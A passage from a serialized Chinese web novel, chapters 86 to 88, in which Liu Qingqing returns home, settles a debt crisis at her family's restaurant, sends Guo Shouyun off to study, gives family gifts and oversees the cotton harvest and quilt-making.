这些天在府城,张和除了打扮花哨,时不时发点神经,总体上做事踏实决断、不贪心、懂进退,用着还挺顺手,不如收作小弟。 张和大喜,他挖空心思琢磨着和刘青青搭上关系,最好能和他成亲那种,要知道,才半年,他眼睁睁盯着刘青青从一个乡下的土村妞,成长为能和府城第一酒楼比肩的大鳄,这聚集财富的能力,主意层出不穷的脑子,他拍马也赶不及。 他曾暗搓搓撬墙角,可惜,郭守云将刘青青四周围得密不透风,他挥舞的锄头根本找不到地方下。 比如他悄摸摸准备了早食,颠颠提着食盒去约刘青青一起吃,发现那边郭守云已经在刘青青的房间里帮忙叠着被子,而刘青青在旁边洗脸刷牙,桌子上摆好了从外面买回来冒着热气的牛乳和剥好壳的鸡蛋。 要不是二门的婆子说郭守云在他之前进去的,他都要怀疑,两人是不是同住一室,时时刻刻形影不离。 他不死心,花费重金,准备了一套织金暗纹淡紫马面裙,在花厅一起用饭的时候,让下人将汤泼在刘青青的衣摆上,准备趁机送上裙子。 郭守云那厮,后脑勺像长着眼睛,在汤洒落之际,他一个挪步挡住了,挡住了,了。 刘青青一点没淋到,看着郭守云后背上黏腻的汤汁,心疼得又是找大夫,又是买药,还埋怨他不会管人,害他被怼了一顿。 张和:“……” 汤是凉的好吧,一点都不烫,好不好! 没办法,他出钱为郭守云做了两身云织长衫,耳根子才算得了清静。 诸如此类还有还几次,张和彻底歇了这个心思,人家两小无猜,他是 挤不进去了。 今日刘青青找到他,有些嫌弃的打量他,面上全是纠结。 他心里很是忐忑,熄灭的小心思又燃烧了起来,难道刘青青准备找个男小妾? 是的,当刘青青的男小妾,他都愿意,谁也不能阻当他追逐摇钱树的步伐。 张和不动声色站直了些,将自己最好的侧颜对着刘青青,心中砰砰砰直跳,思考着,他要直接答应呢?还是欲拒还迎的答应? 结果他听到什么? 人家看不上他的人,看中了他的钱,问他要不要入股。 果然,神仙给你关了一道门,必然会为你打开另外一道窗子。 他几乎喜极而泣。 入,必须入。 当不了刘青青的小乖乖,当个合伙人也棒棒的。 反正他也只是想搭上刘青青的便车,一起发大财。 真好,不用出卖美色了,他幻想的妻子,是貌美精致娇软的小娘子,不是刘青青这一挂。 只是,舒了一口气的同时,心中有点小小失落是怎么回事? 亲兄弟明算账,刘青青无视张和的哭穷,叫来他的账房,当场收了2万两银子,写了一份股份契书给他。 把施工设计图往他身上一丢:“好好干!” 转身领着郭守云上街买买买,然后找卢雪樵撒泼打滚借了一艘官船回家。 杨雪眉次日和哥哥见过面以后,嘱咐她自己注意安全,已经带着孩子回了常平县。 刘青青领着一档子人,个个荷包鼓囊,乘坐私船怕成了水匪的肉票。 & 常平县青华楼,青华楼的诸多供应商堵在后院里,找刘慧兰要货款。 “这么些日子,府城没一点信息传回来,你妹妹莫不是揣了我们的银子,和她那个小未婚夫私奔了!” “欠债还钱,天经地义,你们差了我们粮店的米钱,倒是结一下,我们也等着米下锅呢!” “还有我们肉店的肉钱!” “还有我们的酒钱,一大笔呢!”米酒铺子东家吴挠心疼得直抽抽,青华楼每日来拉走许多米酒,说好七天一结,已经过了两天了,青华楼还没来结账,街上的人都说,青华楼下欺他们这些小商行,上骗城里的富户,足足卷了一万两跑路了。 青华楼整整欠了他一千两米酒钱,这座楼都不够顶的,他将刘青青恨得牙痒痒,找不到刘青青,便逮住刘慧兰:“青华楼的地契在哪,用青华楼抵账!” 刘慧兰强撑着面皮,耐心解释:“你们放心,府城不晓得发生了什么,信息捎不回来,我妹妹她不是那种人,她一定回来的!” 杨雪眉回来打发人过来报信,一切顺利。 后面不晓得发生了什么,府城到常平县的船只便停下了,陆路也断了音讯,最后一条消息是说,二妹妹因为生意好,被府城里的商家联合抵制,不晓得她能不能应对过来。 她心中极其担忧,苦恼自己帮不上忙。还要若无其事装作无事,强撑着打理楼里的一切事物。 不晓得哪里传出一股流言,妹妹卷了银子跑了。 各家供货商上门要求结账,妹妹留下的银子全部花完,但还欠了一些,这些掌柜不依不饶,几乎要生吞了她。 阿爹在村子里稳着村民,只剩她一人在青华楼,她实在怕极了,想躲到屋子里不出来。 转而又想,妹妹风里来雨里去奔波,她只在后方都弄得一团糟糟,实在太没用了。 刘慧兰擦干眼泪,鼓起勇气,涂上脂粉,面带微笑耐心的和各家供货商解释,祈求宽限几日。 宽限几日后会怎么样,她不晓得。 但她知道,二妹一定会回来的,这是她的家。 在她的再三祈求和保证下,大多数供应商都答应再给青华楼十日的期限,但米酒行不依不饶,非要她拿出青华楼的地契房契来抵账,那是二妹妹辛苦赚回来的,她怎么可能舍去妹妹的心血? 米酒行东家吴挠眼珠子一转:“好哇,你不愿意抵账,那行,我把我的米酒搬回去!” 青华楼从他手里低价收购米酒后,不晓得用了什么手段,米酒摇身一变,成了金贵的纯酿,赚得锅满盆溢。 他悄摸摸打听了,机密都在厨房里。 要是能把这个秘密弄到手中,以后日进斗金的便是他。 他手臂一挥,带着六七个强壮的伙计就往厨房冲。 刘慧兰脸都白了,之前做生意,大家彬彬有礼言笑晏晏你来我往,才欠了几日的货款,这人就变了一副模样,实在恶心。 妹妹反复交代蒸馏器不要给外人学了去,她连忙冲到厨房门口堵着。 吴挠眼红心热纯酿已久,哪里还有平时的斯文,伸手去扯她好进门。 刘慧兰死死的霸着门扉,吴挠火了,暗骂这人碍事,抬起巴掌便重重甩下来,人要打了才老实。 眼看蒲扇大的巴掌就要落在身上,刘慧兰瑟缩的歪了一下身子,避开头。 等了半响,并没有感受到身上的疼痛,反而听到砰的一声。 她惊喜的发现,赵垚出现在院子中,一脚将吴挠踹飞,伟岸的身躯挡在她的前面。 刘慧兰眼睛一热,几乎要流下泪来,有人来帮她了。 这是他第二次解她于危难之中。 身材高大的赵垚在她心目中,更加伟岸起来。 吴挠捂着摔疼的腰哎哟爬起来:“姓赵的,青华楼欠债还钱,天经地义,关你何事!” 他视线在站在前面的赵垚身上,后面惶恐不安的刘慧兰脸上溜了一圈,恍然大悟:“哦,我晓得了,你们两有一腿,难怪啊!” “赵垚,你要护你的小情人我不管,她现在欠了我一千两,你既然要英雄救美,你替她还钱!” 赵垚闷闷道:“我没一千两!” 吴挠怒了:“你没钱充什么大头,赶紧滚开!老子搬东西抵债,你们愣着干啥,上啊!” “他们欠债还钱,天经地义,去到县太爷那里,也是我们有理,赵垚他讨不到好,得剥了你那层衙役皮!” 赵垚武艺高强,双拳难敌四手,被四个伙计分别抱住了手腿,动弹不得。 刘慧兰气得抄起锅铲子便去打吴挠,却被他一把推开:“臭娘们,你给我滚开!” 他狠狠一脚踹开厨房门,欣喜的正要闯进去,后脑勺却挨了一下,顿时血水糊了一脑壳,他哎哟一声摔趴在地上:“哪个混账用石头扔我?” 刘青青一脚踏在他背上:“你姑奶奶我!” 第86章 第86章危机四伏 听到这声音,吴挠一个激灵,一改之前的嚣张模样:“哟,还真是您啊,小姑奶奶您可回来了!” “哎哟,你脚松开松开,万一崴了脚是我的过错,我自己来!” 刘青青被他没脸没皮的模样气笑了,抬脚让到一边:“哦,你自己如何来?” 吴挠顾不得后脑壳的血迹,啪啪对着自己的脸便是两巴掌,觑着刘青青不吭声,咬咬牙,又是几巴掌下去。 眼看着他一张脸胀成个猪头,刘青青冷哼:“行了!吴东家省省力气,麻烦解释解释,在我们青华楼后院闹腾些啥?” 吴挠谄笑道:“看见只老鼠跑到你们厨房里,正要帮你们抓呢!” “嗯?” 吴挠哭丧着脸:“小姑奶奶,小祖宗,我错了还不行么?我上有老下有小,来你们家讨欠银,我做错什么了? 这年头欠款的还成大爷了!” “道理没错,我们青华楼违约欠款,该赔偿你们滞纳金 ,我自然会给,你可以上门催账,可以去县衙告状封我们青华楼,但你不该吓唬我阿姊,对我阿姊动手,还妄想去厨房里偷窃我青华楼的机要,你这样的人,我可不敢继续交往,从今日开始,我青华楼不再用你们家的米酒!” 她点点头,郭守云翻了翻账本:“我们欠了你一千两银子的米酒钱,违约两日,滞纳金百分之三一日,合计还你1060两,诺,这是银票,你可以走了!” 吴挠接过银票,点了两遍,一千零六十两。 契约上签订了正式还款日,大家都是熟人,提前三日或者推迟三日是常见的事,这次确实是他心急了。 他眼巴巴的看着刘青青:“小姑奶奶,我猪油蒙了心,你再给我一次机会吧,我保证,以后再也不会犯蠢!” 见她不为所动,吴挠气急败坏放狠话:“常平县我家米酒是最好的,不用我家的米酒,我看你怎么生产纯酿!” 之前用他家的米酒只因为他家的米酒作坊产量大,离青华楼近、方便运输,这次打算换两家小规模一点的来替代。 刘青青眼皮子都没动一下,懒得搭理他,叫人把他叉出去。 招呼一旁看热闹的几个供应商:“愣着作甚,快来结账啊,放心,滞纳金少不了你们的!” 不知道是不是错觉,几家掌柜感觉刘青青几日不见,变得看不出深浅了。 这似笑非笑的样子,感觉有点渗人,他们虽然没有动手,但也在一旁添油加醋呢。 粮食掌柜双掌一击:“嗨,都是街坊,什么滞纳金不滞纳金的,货款该多少就是多少!”青华楼的大米和面粉,都是从他家进的,价低但量大,合计也有五百多两银子。 他急忙为自己辩解:“外头都说你在府城的罪了权贵,青华楼要倒闭了,我,我这是吓到了,才过来催促欠款。” 他急于表功:“诺,就是调料行的老王和我说的!” 他扭身一把揪住老王的领子:“你快说啊,就是你告诉我的!” 被推出的调料行掌柜老王挣开他的手,指天发誓:“这,这,我也是听说的!是喝酒的时候,听车马行的掌柜不小心漏出的消息!” 刘青青本来还笑眯眯的,听到这话,不由得心中一个咯噔,青华楼因为缺少畜力,大量租借车马行的马车拉货。 若说谁家能精准的知晓青华楼的营业额的话,车马行通过拉货的数量可以管中窥豹,大差不离的计算出来,人家这是把青华楼看作砧板上的肉,打算下锅煮了吃啊。 运费一分没少给,倒拉出一个祸害来。 她留下的银子加上青华楼的流水,足够应付平时的开销,但这些供货商一起上门要银子,阿姊脸皮嫩,来一个结账一个,现银跟不上,再加上她带走了大队人马,才让青华楼陷入财务危机。 这一切让有些人特别得意吧,可惜她回来,便要让背后的人失望了。 若是去府城前,刘青青也许会忌惮车马行,可是现在么,她有个特别能唬人的师傅。 刘青青满脸诧异:“啥,我得罪了权贵?” 她挑挑眉:“阿云,你拜到知府大人门下,碍了谁的眼?” 郭守云特别上道:“师父只有我一个学生,没碍到谁啊!” “听说府城书院里好多生员想上门拜师父,都被师父推拒了,难道是他们?” “这样啊,我让薛文豪查一查!” 郭守云嘴角下撇:“找他作甚,他管着遇仙楼那一摊子事,哪里抽得开身,我来吧!” …… 两人一问一答,在场的各家供应商们竖着耳朵,只差把卧槽卧槽谱成一首歌。 郭守云竟然拜了知府大人为学生,吹的吧。 不过好像他们是坐着府衙的官船回来的诶。 遇仙楼诶,那是府城最大档次最高的酒楼,东家姓薛,刘青青随意使唤人家东家,这是几个意思啊? 众家供货商你看看我,我看看你,态度立马改变:“那什么,刘小东家,货款其实晚几日也没有关系!” 刘青青笑道:“别!滞纳金一日一个价,还是算了!” “阿云,给他们把账单结清。” 粮食铺子掌柜脸都青了,这结清是几个意思,以后不用他们家的米面了么? 他咬咬牙主动降价:“都是我们糊涂,这样,刘小东家,之前的米家是六文一公斤,我给你降价,降到5.5文一公斤,如何?” 刘青青漫不经心:“大量新米上市了,五文一公斤。” “这,行吧!” 各家供货商主动降价,和青华楼主动签订了新合约。 刘青青提前打好预防针:“虽说价格降了一些,但质量不能降,若有质量问题,我有权终止契约哦。” 打发走各家掌柜,刘青青疲惫的揉揉眉心,叹了口气。 刘家发展太快,却没有强大的背景权势来护住这一份家业。 她已经竭尽所能和县衙温大人处好关系,拉着县衙夫人入了股,知道内幕的地方豪强多少会给青华楼三分面子情,依旧有疯狗想从青华楼上咬下一块肉。 刘家迫切需要一个自己的强有力的招牌,解决眼前的困境。 现在刘家有两种选择,寻一个举人和刘慧兰订婚,或者郭守云尽快科举。 第一条路风险太大,举人可以出仕做官,不一定看得上阿姊,阿姊也不一定喜欢对方,她支持阿姊寻一个自己喜爱的人。而且,会不会是引狼入室呢? 到时候既舍去了阿姊的幸福,又埋下祸害,实在不妥。 刘青青立马舍弃了这条路。 她皱眉看着郭守云,不晓得如何开这个口。 郭守云具有极强的观察能力,刘青青遇到难题的时候便会不自觉的啃手指甲,诺,现在就是这样,拇指的指甲壳都要被她啃秃噜了。 他抓住她的手,轻轻的吹了吹:“莫要啃了,都红了!” “可是有什么要和我说?” 刘青青眼里有纠结,小心翼翼看着他:“阿云,我们可能要分开一段时日!” 她顶着他下沉的嘴角,不满的目光,一口气说完:“你去府城跟着师傅读书,明年必须取得名次!” “只有你有了功名,才护得住这一家子!” 刘有山对他的看中,苏氏对他一视同仁,阿姊对他的心疼,翠翠对他的依赖,阿青和他的亲密无间,他早已经融入了刘家,这些全是他放在心尖尖上的人。 今日之事他也看到了,他想保护这一家子,为他们遮风挡雨,为这个家出一份力量,但是,丛林那一套不再适合这里。 他知道刘青青说得有道理,可是他就是不想与刘青青分开。 刘青青还要再劝,郭守云捂住她的嘴:“你在哪,我就在哪。你放心,我会加倍用功的。” 刘青青有些抓狂,末世的时候,她从普通人群中杀出重围,考上了基地的后勤岗,晓得科考的艰辛和惨烈。 郭守云他不明白,参加科举,不是和其他学子竞争,而是和学子背后的每一个家族竞争。 缩在弹完之地,即便把书背得滚瓜烂熟,怎么和那些三年模拟两年真题的书香世家子比? 她耗费了心机才让卢雪樵收下他,他怎么就不懂得她的苦心呢。 刘青青恼怒的从他掌中抽出手:“你跟在我身边有什么用,当车夫么?我自己会驾车。搬东西么,店里的伙计能帮忙。算账么?我算得又快又好。 阿云,你不要再跟再我身边,你去跟着师傅读书,成就一番事业,好不好?” 郭守云眼底的光暗淡了下来:“所以,你是嫌弃我是一个废物么?” 你怎么会是废物呢,你是我最暖心的小奶狗,害怕的时候保护我,难过的时候安慰我,失落的时候治愈我,和我共享一个窝。 我也舍不得和你分开,希望夜里有人帮我盖被子,喜欢你最贴心的照顾,沉溺与你的星星眼。但是,我不能那么自私,一只把你困在身边。 我希望你去学习,去成长,去闯荡,成为一个见多识广的小狼王,驰聘于壮丽的山河间。 刘青青幽幽看了他半响,扭过头不看他暗淡的眼睛:“就这样,明日回家见过阿爹阿娘后,我帮你收拾包袱,送你去师父那里,我们会常来看你的。” 第87章 第87章礼物 郭守云紧紧的抿着嘴唇不吭声,刘青青急了,不由得扬起了声调:“你倒是说话呀!” 少年已经比她高出半个头,定定看了她半响,微微屈膝,伸手握住她的手臂摇啊摇,委屈道:“阿青,你不要生气,我去还不行么?” “不过,每个月你要来看我三次!”他眼巴巴的看着刘青青,这是他最后的让步。 念及她会晕船,又改口道:“算了,我一个月回来三次,可以么?” 刘青青脸上多云转晴:“你放心,我会时常来看你的。” 两个人头挨着头梳理行礼的清单。 & 才到村口,远远的便看见站了许多的人,苏氏翘首以盼。刘有山看见他们的马车,喜得晃了晃手中的拐杖:“回来了回来了,阿青他们回来了!” 这是头一次,他们没有在一起过中秋节。 苏氏对两个孩子的挂念担忧在这一刻,化作了眼角欢喜的泪水,她一手拉着刘青青,一手牵着郭守云:“累不累,快回家歇歇,今晚给你们洗尘。” 刘鑫,赵刚,阿喜等,你一句我一句问好,一群人一边往回走,一面热切的讨论着。 正在这是,赵兴冬赶着一架双匹大马的宽大马车,意气风发从村子里出来。 泥土路窄,马车不能通行。 赵兴冬眼底闪过一丝懊恼,拉着缰绳盯着对面关闭的车帘发怔,慧兰在里头么? “大冬,怎么不走了?”车帘掀开,露出里头许美仙涂脂抹粉的脸。 她抬眼看见刘家人,眼珠一转笑道:“哟,这是去城里做零工回来了呀。我们赶着去府城安置新居呢,你们让一下呗!”她满脸得意,恨不得全村子炫耀,她们搬家去府城。 他们车上放着许多箱笼,只坐了许美仙一人。 刘青青挑眉,他们搬家,怎么不见赵二贵大春爷俩。 阿喜凑在她耳边道:“赵兴冬巴上府城的富户独女,女方买了个院子,说是亲家是乡下的不好听,让他们以后搬到城里住。” “二贵叔不同意,许美仙闹着和离,领着赵兴冬执意搬家,已经在村子里传开了。” 刘青青倒吸一口凉气:“他这是带着老娘去入赘?” 那边许美仙得意洋洋抱出一盒点心:“冬子媳妇家是府城做大生意的,等成了婚,男主外女主内,以后诺大的家业就靠冬子撑着,你们放心,日后有难处,只管上门,我们冬子不是个忘本的。” “来来来,这是亲家送来的节礼月饼,你们都没吃过这么好吃的月饼吧,诺,都给你们。” 说得府城女方家偌大的家业是她许美仙的,而面前的都是上门打秋风的破落户。 刘青青面色古怪的看着月饼,这世界真是巧啊。 那是张和卖给她的月饼,她换了包装后重新出售,上面还包着青华楼的盒子。 刘青青推辞道:“不用不用,你们留着吃吧,我们家不缺月饼。”她就是卖月饼的,真不缺。 许美仙还当她不敢要这么贵重的点心,一把塞在苏氏的手里:“抱着吧,乡下哪里找这么好吃的月饼!” 阿喜翻了个白眼,讥笑道:“美仙婶子,大春回去没说么,阿青家的作坊就叫做青华楼,你认识盒子上的两个字青华么?” “你把阿青家的月饼弄来送给阿青,这不是闹么!” 许美仙刷满脂粉的脸上瞬间出现了裂痕,她知道刘家开了个作坊,一直以为是个上不得台面的小作坊,哪里晓得,他们家做的月饼都卖到了府城。 她还记得媳妇家的下人婆子来送节礼,捧着月饼那副趾高气昂的模样。 车上的刘慧兰掀开帘子:“行了,阿青,让他们过去。”她还赶着回去做饭呢,阿妹他们在外面肯定吃不饱。 掀开的车帘里,时兴的布料,精致的点心盒子,各自礼物盒子,随意的堆在塞刘慧兰的脚边。而不是像他们,一盒月饼还要锁在箱子里。 许美仙讪讪的,心里后悔极了,要是没和刘家退婚,这个月饼是不是她想吃多少就有多少,车里的时兴布料全是她的。 赵兴冬看见刘慧兰,眼睛骤然亮了一下,不错眼的盯着她。他今日穿了最新的斜纹锦长衫,端是一表人才。 刘慧兰满心都是今日赵垚帮她的事,心不在焉便放下了车帘,压根没看到他。 赵兴冬顿时有些挫败,他下意识的扯了一下缰绳,马匹哒哒走了两步,掉到了路边的水沟里。 刘青青愣了一下,笑道:“美仙婶子,让车就让车,怎的还把车弄到沟里,这让我们多不好意思!” 许美仙站在路边,看着水沟里的儿子,和散落一地的箱笼,一张脸青青白白来回变换,牙缝里喷出几个字:“你们先走!” 刘青青淡然一笑,招呼大家回村进屋。 她回望着身后的母子两人,许美仙正指着垂头丧气的赵兴冬破口大骂,她扭过头,不经意的询问阿喜:“赵兴冬媳妇家在府城做什么营生?” 若她没记错,后面几日薛文豪那厮中断路线,他们家竟然能把府城的月饼送到常平县,除了家里干运输的,她想不到其他营生了。 她正打算收拾车马行,就在这里遇到他们家的未来女婿,是不是冤家路窄? 回到家归置好箱笼,刘青青抱着棉花黑炭揉了半响。 顺便到后院看了看大妞二妞还有大青驴。小动物们对她回来表示了热烈的欢迎。 然后便是一一分发礼物。 刘青青给大家准备的礼物实用经济,每人一身时兴的布料,刘鑫家大宝儿,未出世的小宝宝也有。 阿喜等喜滋滋的抱着,一面计划着做件什么样的衣裳,一面听她们在府城的际遇, 接下来便是汇报各自负责的事物。 刘有山挺着胸脯笑道:“我们护苗小分队给十里八乡的百姓们驱虫,赚了一千八百两,库房里的毒蘑菇全部用完了,库里只剩下鲜菌子。赚得钱,恰好平了鸭子和菊蓟的费用。 只是还欠着村民们一大笔菌子钱呢。” 刘青青笑笑:“没事,我们去府城赚了一笔,我带了两万两回来。” 众人倒吸一口凉气,两万两,是他们听错了么? 刘青青没有说青华园的事情,解释道:“我们月饼新颖味道美,大卖太正常了,等月底,人人都有大红包奖金。 而且,最幸运的是,阿云被知府大人看中,收作了学生,这次回来,他收拾收拾就去府城读书。” 什么,知府大人的学生,大家艳羡的看着郭守云,不晓得他是走了什么狗屎运。 其中赵刚脸上最是复杂,郭守云是他启的蒙,从一开始的白玉盘都不理解,到现在能将四书五经随意背出来,进步之大他感触很深,他暗暗发誓,晚间再多读一个时辰的书。 目光焦点的郭守云有些不适应,习惯性往刘青青身后躲,却想起来,以后他要学着一个人面对,要为阿云撑起一片天空,红着耳根子挤了一下嘴,算是回应。 刘满仓红着脸急急忙忙道:“东、东家,棉花地里的棉花都变成 了白色,什么时候采摘?还有田里的稻谷已经低了头,今年喷了药,空穗的少,产量高,这么多的田地,是不是我先预定二十个短工?” 收割稻谷是力气活计,他在心里琢磨着去请哪家的汉子。每到秋收的时候,一家壮劳力,百家求,去晚了请不到人。 听到棉花成熟,刘青青大喜:“是该多请几个,请十五个麻利的女工,五个男工就够啦!” 刘满仓有些焦急:“小东家,你不晓得,收割稻谷是个力气活,五个男工恐怕不够。”需要先把稻谷割下来,然后拉回家,趁着日头好在石头上把稻谷摔下来,一天下来,五大三粗的大男人都累得够呛,妇人哪里干得下来。 刘青青笑道:“没事,你按照我说的办,我从城里买了些器械回来,收割稻谷不用那么费力。倒是棉花,必须尽快采回来,免得下雨发霉。” 她已经迫不及待盖新棉被。 等安排好这些事物,几人抱着自己的布料,喜滋滋回家准备做新衣。 苏氏把放在井里湃着的葡萄拿出来:“快吃吧,最后六串,那会才从藤上摘下来,都洗干净了。”刘青青去府城的时候已经成熟,采了两筐去,赚了一笔,剩下的留着给他们过节,苏氏却还省着,一串没动,等他们回来一起吃。 刘青青含了一个,脆甜清香,摘了两个塞到趴在一边尾巴摇成风火轮的棉花和黑炭嘴巴里。 家里的葡萄树在她日日不缀的浇灌下,突变长成了阳光青提,真是意外之喜。明年可以剪枝培育更多。 她拍拍两小只的脑袋:“明年让你们吃个够!” 她笑盈盈递了一个盒子给苏氏:“阿娘,这是特意给你准备的,快戴上看看。” 苏氏呵呵一笑,接过来一看,金丝打造的两个圈,拿在手里疑惑不解:“这是什么首饰,从来没见过?还是黄金的,得花多少钱!”她心疼极了。 “这是眼镜,你带上试一试!”刘青青帮忙把眼睛腿掰开,卡在苏氏的耳朵和鼻梁上。 苏氏短暂的眩晕后,惊喜的指着刘有山:“呀,变得清晰了,我能看到你爹眼角的纹路!” 不仅如此,地面的石头上的纹理,外面院墙下爬过的小蚂蚁,一一呈现在她的视线中。 世界变得清晰直观,不再像原来那样,一团模糊。 她极其喜欢这份礼物,宝贝的摸着眼镜不舍得摘下来。 刘有山眼热不已:“阿青,我呢,你给阿爹准备了啥?” 刘青青扫过他瘸了的腿,她去了府城最负盛名的医馆询问,却没有办法续接断了的腿筋。 她笑道:“阿云在府城给阿爹挑了一匹矮马代步,诺,就是跟在我们马车后面的那匹小黑马。” 大妞二妞性子烈,只给她和郭守云骑,别人稍微挨近一些就不停的打响鼻,那口气就像说:“莫挨近老子!” 她们跑遍了府城的四个牲口市场,才淘摸到两匹蒙古种小矮马。 大妞二妞是标准的大宛马,臀线约摸一米八,跑起来像贴地飞一样,这两匹小矮马臀线约摸才一米,性子温顺耐力好,阿爹可以毫不费力的爬上去,还有一头是给翠翠的。 打个比方,大妞二妞是达到时速一百八上高速狂奔的大型机车的话,那这两匹小矮马便是小电驴,小巧可爱实用,乡村泥土小路或者县城的大道,它没有到不了的地方。 刘有山大喜,他眼红大妞二妞许久,可惜两匹马不搭理他,而且他腿上没力气,根本爬不上去。 之前看见马车后的两匹矮马,以为是小马犊子,听她解释,才晓得那是已经养了三年的壮年小矮马,天生长这么高。 他和刘翠翠一前一后奔到后院,刘翠翠选了小些的红色矮马,他看中高一点的黑色矮马,杵着拐,轻易的便跨坐了上去,扯着缰绳,小黑马笃笃笃指哪去哪,极其听话合心。 他坐在马背上哈哈大笑,他又可以满村子窜门找朋友唠嗑拉。 刘翠翠骑着小红马咯咯咯直笑,她想骑棉花黑炭许久,总是被它们跑掉。 大妞是二姐的,二妞是阿云哥哥的,三妞是阿爹的,四妞是她一个人的。 一家人嘻嘻哈哈站在院子里,看着两人骑着马在后院的苗圃地里到处乱走。 郭守云眼里闪过羡慕,他要去读书了呢,不能日日感受到这份热闹。 不过,刘青青给大家分礼物的时候,一直说这是他们两人一起准备的礼物,那是不是,刘青青内心,和他更亲密一些? 闹完一通,刘青青看着慧兰,抱出了一个匣子:“阿姊,你快要说亲了,我给你订了一面镜子打扮,你看看。” 说起相亲,刘慧兰脸上一红,嗔她一眼:“一天尽胡咧咧。”她脑海里却浮现出一个高大的身影,刘慧兰暗暗啐了一口,嘴角微微上翘。 打开盒子一看,里头是一面木瓜大的镜子,和世面上的铜镜不一样,这面镜子竟然将脸上的汗毛都照得清清楚楚。 她惊讶的眨眨眼,里头的人儿也跟着眨眨眼。 现在还没有玻璃,但有水晶,刘青青一直记挂着给苏氏做一副眼镜,请珠宝店的工人用水晶打磨成凹透镜,镶嵌在黄金打造的镜架上,达到矫正近视的目的。 看着工匠灵巧的手艺,她灵机一动,让珠宝店打磨了一块薄透的水晶,订做了一块银箔小心贴到背面,清晰明了不如玻璃镜,却大差不离。 保证是这个时代的头一份。 分完礼物,苏氏带着眼镜忙碌起来,她将桌子上的阳光青提收起了四串放到书匣里:“阿云要去读书,这个青提给他带去。” 翻箱倒柜寻布料,平时舍不得穿的布料嫌弃太差:“去府城念书,万一穿得次了被看不起,不行,我们明天去县城重新买最好的布料,再来做衣裳。” 刘慧兰戚眉:“是啊是啊,还有铺盖,城里流行花开富贵牡丹,明日我们扯一床给他做个新的!” 郭守云:“……” 第88章 第88章送他读书 大清早,日头才冒出个脸,嫩黄得像煮熟的荷包蛋。 后山脚下的荒地已经变成了一片白色的花海,枯黄的叶子中,躲着一朵朵雪白的棉桃。 刘青青领着十位手脚麻利的妇人,将田里的棉桃摘到背篓里,由两个男工扛到驴车上送回家,剩下的三个男工将枯萎的棉花枝干砍断后,侧刀切碎堆在地旁。 刘青青教会大家扯棉桃后,坐着驴车回家。 前院薄石板地打扫得一尘不染,晒满了棉桃,坐着五个妇人,一边闲话家常,一边把棉桃摘掉棉籽,清理掉上面的枯枝黄叶,剩下的便是雪白的棉花。 中午的时候,县城的铁匠铺子木匠铺子送来了之前刘青青订做的机械,整整两马车。 刘青青付完尾款送走伙计,淘出四根上面打满了小洞的木柱,在作坊里寻了处空了的宽大仓库,扫得一层不染。 摆成个长方形,放在凳子上,在小洞中插满小木棍。 取来一捆牢固的白细线,横斜交错固定在四周的小棍子上,形成了一张网。上面堆了4公斤清理干净晒干的棉花。 然后取出其中一张接近两米的大弯弓,将钢丝绳固定在弓箭上绷直,她叫来刘鑫,在他背上绑了一根棍子,用绳子将棉花弓横吊在棍子尖端。 刘鑫左手执弓,右手执棉花锤,重重敲打在弓弦上。 刚丝绳受到外力,发出嗡的声音,绷颤的过程中,将松软的棉花弹开,变成长长的棉花纤维,轻飘飘飞在空中,最后散落在细线铺就的网面上。 弹完四公斤棉花,棉絮就像雪花一样 纷纷扬扬落满,木棍子围成的框子里。 刘青青将里头的棉花均匀摊开,上面用细线经纬交错覆盖成网。 取下来的棉芯松软得像白云,但容易走棉,需要铺平在地上,用石磨滚压结实。 最后用粗线按照米子形状大针脚走一道,起到固定不变形的作用。 一床四公斤的棉芯就做好了。 刘青青心血来潮,用红线在被芯上走了一个词:金榜题名郭守云。 她笑嘻嘻看着郭守云:“这床被子给你去府城念书,结实柔软又暖和!盖个十年八年没问题。” 刘鑫摸了一把棉芯,很是眼热:“阿青别磨蹭,快过来缠线,我们每人做一床!” 刘青青笑道:“刘鑫叔,一床不够,每人至少得两床,阿云要四床,一条盖着,一条垫着,还要弹一些缝在衣服里,冬天穿在身上才暖和呢!” 总之,人歇弓不歇,刘鑫和刘满仓换着弹棉花,阿喜和大春负责走线。 到了晚间,总共弹出了十八床棉芯。 陆青青急不可耐将被子里的芦花芯扯出来丢掉,换上新鲜出炉的棉花芯。 垫在下面的稻草扔到粪坑里,铺上软软的棉垫子,枕头芯里换成了棉芯,上去滚了一圈,又软又柔还暖和。再也不会被床铺棱得背脊疼,她终于可以睡个好觉了,她恋恋不舍的爬下床。 热切的看着郭守云:“你试试看?” 郭守云在她的注视下,钻到她被窝里,柔软的触感贴在身边,像陷在云朵中一样,带了微微的余温,鼻尖还有她的味道,奶香奶香的。 嗯,即将分离两地,但盖着她亲手缝制的被子,他感觉不孤独了呢。 从县城采购回来的苏氏等人抱着棉被不撒手,她带着眼镜,飞针走线,不一会就做了出一套花开富贵牡丹印花的三件套,装好被芯,笑盈盈道:“阿云,这套铺盖给你带到府城去用,好看吧,你阿姊说是现在城里最流行的花色。” 然后兴致勃勃在他身上比划两下,拿起剪刀去裁剩下的布料:“我给你做两件棉背心,这个穿着身上暖和,过几日变天也不怕冷!” 郭守云看着被子上大片大片的粉红色牡丹花,心里哆嗦了一下,分离的惆怅被吓得飞到了爪哇国,他抓着布料不撒手:“阿娘,我不用背心,真的,我身体好着呢,一点都不会冷。” 他实在想象不出来,青色的长衫里头套着牡丹花的背心,是个什么样的画风。 苏氏拍开他的手:“做了放着,有备无患。” 这些年她眼睛看不清,想做点精细的针线活都有心无力,现在有了眼镜,手里不缺好布料,仓库里晒干的棉花随便用,diy的心哪里还忍得住,把想得到的都做了个遍。 棉被,棉垫子,棉背心,棉衣棉裤棉大衣,在翠翠的要求下,以棉花黑炭作模特,做了一对缩小版的棉花小狼狗,让他带着去府城念书。 在郭守云的强烈要求下,刘有山和他的棉衣一律用蓝青色的布料,苏氏很是嫌弃:“牡丹花的布料漂亮又惹眼,城里那些小少爷都这么打扮!” 在苏氏忙着给郭守云准备衣裳铺盖的时候,刘青青也没闲着。 卢雪樵不愿意要他们的银钱,说了只要吃的,她琢磨着弄点特产,送一些给师傅后,阿云自己也能吃。 猪圈里的黑毛猪膘肥体壮,请来杀猪匠,放干血后,开水烫毛刮洗干净。 猪头猪尾在明火上烧干净黑毛,放在热水中擦洗干净,从中间破开后加入卤料卤煮。 刘青青选用了上好的里脊肉剁细成肉绒,加入胡椒粉花椒粉,白酒纯酿,盐巴,少量白砂糖搅拌均匀,在烤盘中用擀面杖擀成薄薄的一层,放在烤炉中烤制半熟,刷一层蜂蜜后撒上芝麻,翻面后继续烤直到成熟取出。 